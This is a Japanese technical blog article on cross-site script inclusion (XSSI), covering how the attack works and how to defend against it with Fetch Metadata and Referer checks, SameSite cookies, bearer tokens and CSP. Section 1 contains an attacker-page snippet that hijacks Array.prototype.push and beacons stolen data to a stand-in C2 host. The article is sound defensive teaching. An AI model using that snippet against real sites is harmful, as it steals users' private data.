【テクニカル・上級編】 クロスサイトスクリプトインクルージョン(XSSI)の防御 – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

XSSIの解剖学:JSONPの残滓から学ぶ、モダンWebアプリケーションの境界防衛

ペネトレーションテストの現場で、いまだに我々レッドチームの侵入経路として重宝される脆弱性がいくつかある。その筆頭が、古くて新しい「クロスサイトスクリプトインクルージョン(XSSI)」だ。

世間では「クロスサイト・スクリプティング(XSS)」の派生形として片付けられがちだが、本質はまったく異なる。XSSが「他人のコンテキストで任意のスクリプトを実行する」攻撃であるのに対し、XSSIは「同一起源ポリシー(Same-Origin Policy: SOP)の隙間をすり抜け、機密情報を含むスクリプトやJSONレスポンスを別オリジンから強制的に読み込ませる」という、ブラウザの仕様の裏を突いたデータ窃取手法だ。

現代のテックリードやセキュリティアーキテクトは、フレームワークがデフォルトで提供するセキュリティ機構に胡乱を抱きがちだ。「うちはCORSを設定しているから大丈夫」「Reactを使っているから関係ない」――そんな慢心こそが、サイバー犯罪者に突破口を与える。

今回は、XSSIのメカニズムをプロトコルレベルから解剖し、実務で通用する徹底的な防御アーキテクチャについて解説する。

—

1. なぜ「スクリプトの読み込み」はSOPをバイパスできるのか

ブラウザのSOPは、異なるオリジン間でのリソースの読み書きを厳しく制限する。例えば、fetch()やXMLHttpRequestを用いて別オリジンの機密データを取得しようとすれば、CORS(Cross-Origin Resource Sharing)ヘッダーの壁に阻まれる。

しかし、歴史的な経緯から、HTMLのいくつかのタグは、別オリジンからのリソース読み込みを無条件で許可している。その代表が <img>タグであり、そして <script>タグだ。

ブラウザは <script src="https://evil.example.com/api/user_data"></script> というタグを解析する際、サーバーから返されたコンテンツが「JavaScriptの文法として有効であるか」を検証してから実行する。ここで恐ろしいのは、「スクリプトとして読み込まれたデータは、読み込み先のページ(攻撃者のドメイン)のJavaScriptから変数や関数経由でアクセス可能になる」という点だ。

プロトコルレベルの罠:JSONPと配列の改ざん

かつて一世を風靡したJSONP(JSON with Padding)は、まさにこの挙動を意図的に利用した仕組みだった。しかし、APIが機密情報(セッションID、APIキー、個人情報など)を直接JSON形式、あるいはグローバル変数に代入する形で返している場合、攻撃者は次のような罠を仕掛ける。

<!-- 攻撃者のサイト(evil.com) -->
<script>
  // 1. グローバルな配列やデータ構造を乗っ取るためのダミー関数を定義
  const stolenData = [];
  // ユーザーが機密データを取得するエンドポイントで定義されているオブジェクトをキャッチする
  window.oldArrayPush = Array.prototype.push;
  Array.prototype.push = function(item) {
    // 窃取したデータを攻撃者のC2サーバーへ非同期送信
    navigator.sendBeacon('https://attacker.example.com/log', JSON.stringify(item));
    return window.oldArrayPush.apply(this, arguments);
  };
</script>
<!-- 2. 被害者がログイン中の標的サイトから機密スクリプトを読み込ませる -->
<script src="https://target.example.com/api/v1/private/profile.js"></script>

もし標的のエンドポイントが、認証済みユーザーの機密情報をJavaScriptの配列やオブジェクトリテラルとして返していた場合、ブラウザはこれをそのまま実行し、攻撃者の仕込んだプロトタイプ汚染やグローバル関数のオーバーライドによってデータが丸裸にされる。これがXSSIの核心だ。

—

2. 防御の第一歩:Refererチェックの限界と正しい実装

XSSIを防ぐための古典的な手法として、リクエストヘッダーの Referer(または Sec-Fetch-Site)を検証することが挙げられる。しかし、ここには実装上の落とし穴が無数に存在する。

多くの開発者が犯す間違いは、「Refererが存在するかどうか」だけを確認することだ。攻撃者は、リファラーを隠すメタタグ(<meta name="referrer" content="no-referrer">)を使用したり、特定のプロトコルダウングレードを利用したりして、リファラーを送信させないように制御できる。

したがって、インフラストラクチャ層(NginxやAPI Gateway)またはアプリケーション層で厳格なホワイトリスト検証を行う必要がある。

PHPによる堅牢なRefererおよびFetch Metadata検証のサンプル

モダンなブラウザは、リクエストがどのような文脈で発生したかを示す Sec-Fetch-Site や Sec-Fetch-Dest ヘッダーを送信する。これらを組み合わせることで、意図しない <script> タグからの読み込みを完全に遮断できる。

<?php
// 機密情報を返すAPIエンドポイントのコントローラー層

// 1. セキュリティヘッダーの強制(MIMEスニフィングの防止)
header('X-Content-Type-Options: nosniff');
header('Content-Type: application/javascript; charset=utf-8');

// 2. Fetch Metadata (Sec-Fetch-Dest) の検証
// ブラウザがスクリプトタグ経由での読み込みと判定した場合、destは 'script' になる
$secFetchDest = $_SERVER['HTTP_SEC_FETCH_DEST'] ?? '';
if ($secFetchDest === 'script') {
    // スクリプトタグ経由の外部オリジンからの読み込みは厳禁とする
    http_response_code(403);
    echo "/* Forbidden: Direct script inclusion not allowed */";
    exit;
}

// 3. Referer または Sec-Fetch-Site の検証
$allowedOrigin = 'https://app.example.com';
$secFetchSite = $_SERVER['HTTP_SEC_FETCH_SITE'] ?? '';

if ($secFetchSite !== '' && $secFetchSite !== 'same-origin') {
    // 同一オリジン以外からのリクエストは拒否
    http_response_code(403);
    echo "/* Forbidden: Cross-origin access denied */";
    exit;
}

// 4. フォールバックとしてのRefererチェック
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (!empty($referer)) {
    $parsedReferer = parse_url($referer);
    $refererHost = $parsedReferer['host'] ?? '';
    
    // 自社ドメイン以外からのリクエストを弾く
    if ($refererHost !== 'app.example.com') {
        http_response_code(403);
        echo "/* Forbidden: Invalid referer */";
        exit;
    }
}

// 機密データの生成と出力
$sensitiveData = [
    'userId' => 10485,
    'email' => 'victim@example.com',
    'secretToken' => 'csrf_token_xyz987'
];

// JSONとして安全に出力しつつ、トップレベル配列([ ... ])を避け、
// オブジェクトとして出力するか、あえて無効なスクリプト構文にする(後述の防衛策)
echo "/* XSSI Protected */\n";
echo "window.__USER_DATA__ = " . json_encode($sensitiveData) . ";";

—

3. Cookieの SameSite 属性と「認可とデータの分離」

XSSIを防ぐうえで最も強力な防衛ラインとなるのが、Cookieの SameSite 属性の適切な設定、そしてそもそも「機密データをCookie認証のセッションでスクリプトとして読み込ませない」というアーキテクチャの設計思想だ。

SameSite=Strict / Lax の挙動とXSSIの防衛

クロスサイトリクエストにおいて、Cookieが送信されるかどうかを制御するのが SameSite 属性である。

  • SameSite=Strict: すべてのクロスサイトリクエスト(サードパーティ製スクリプトからの読み込み、リンククリック、iframeなど)でCookieが送信されない。
  • SameSite=Lax: トップレベルのナビゲーション(通常のリンククリックやGETメソッドによる画面遷移)以外ではCookieが送信されない。つまり、<script src="..."> や <img>、fetch() などのバックグラウンドリクエストではCookieが送信されない。

機密情報を返すAPIエンドポイントやセッションCookieには、最低でも SameSite=Lax(可能であれば Strict)を付与すべきである。これにより、別オリジンのページからスクリプトが読み込まれた際、認証Cookieが添付されず、サーバー側で「未認証ユーザー」として弾くことが可能になる。

トークンベース認証(Bearer Token)への移行

Cookie依存のセッション管理から脱却し、AuthorizationヘッダーによるBearerトークン(JWT等)を用いたアーキテクチャに移行することも、XSSIに対する決定的なカウンターアタックとなる。

ブラウザの <script src="..."> タグや <img> タグは、カスタムHTTPヘッダー(Authorizationなど)を付与してリクエストを送る能力を持っていない。したがって、機密データを取得するエンドポイントが、CookieではなくAuthorizationヘッダーによる認証を強要していれば、タグを用いたクロスサイトインクルージョンは物理的に不可能になる。

// フロントエンドからはfetchやAxiosで明示的にヘッダーを付与して取得する
// これならCORSと組み合わせることで安全にデータをやり取りできる
fetch('https://api.example.com/v1/user/profile', {
    method: 'GET',
    headers: {
        'Authorization': 'Bearer ' + localStorage.getItem('access_token')
    }
})
.then(response => response.json())
.then(data => console.log(data));

—

4. チーフホワイトハッカーからの提言:監査と自動化の視点

ペネトレーションテストやセキュリティコードレビューの現場において、XSSIの脆弱性を静的解析(SAST)や動的解析(DAST)で完全に見つけ出すのは容易ではない。動的な挙動、特にブラウザのコンテキストにおけるスクリプトの実行結果を追う必要があるからだ。

テックリードやセキュリティアーキテクトが取るべき実務的なアプローチは以下の通りである。

1. APIエンドポイントのMIMEタイプの監査:
レスポンスヘッダーに Content-Type: application/json や application/javascript が正しく設定されているか、そして X-Content-Type-Options: nosniff が全レスポンスに強制されているかを確認する。ブラウザが「これはHTMLやJSONだ」と認識しているファイルを、無理やり <script> タグで読み込ませようとした際の挙動をテストせよ。

2. トップレベルJSON配列の禁止(ECMA-262の罠回避):
かつて古いJavaScriptの仕様において、JSONのトップレベル配列([...])は、グローバルな Array.prototype.constructor を書き換えることでパース時にコード実行を誘発できる脆弱性があった(いわゆるJavaScript Hijacking)。モダンなブラウザでは対策されているが、そもそもAPIレスポンスのトップレベルには必ずオブジェクト({...})を使用するか、予測不可能なプレフィックス(例: while(1); や )]}, など、フレームワーク固有のセキュリティウォーターマーク)を付与する設計を検討すること。

3. CSP(Content Security Policy)による二重の防御:
script-src ディレクティブを厳格に設定し、信頼されていないオリジンからのスクリプト読み込みを完全にブロックする。万が一、アプリケーション側にXSSIの脆弱性が眠っていたとしても、CSPが厳格に機能していれば、攻撃者のドメインから被害者のブラウザへスクリプトを注入・実行させる攻撃チェーンを断ち切ることができる。

セキュリティとは、単一の強固な城壁に頼ることではない。SOPというブラウザの基本仕様の隙間を理解し、Referer、Fetch Metadata、Cookieの属性、そして認証トークンの設計を多層的に組み合わせることで初めて、標的型攻撃の自動化されたスキャナーや、我々レッドチームの侵入試行を完全に無力化できるのだ。実装の甘さを今すぐコードベースで確認し、境界防衛を再構築せよ。

コメント

タイトルとURLをコピーしました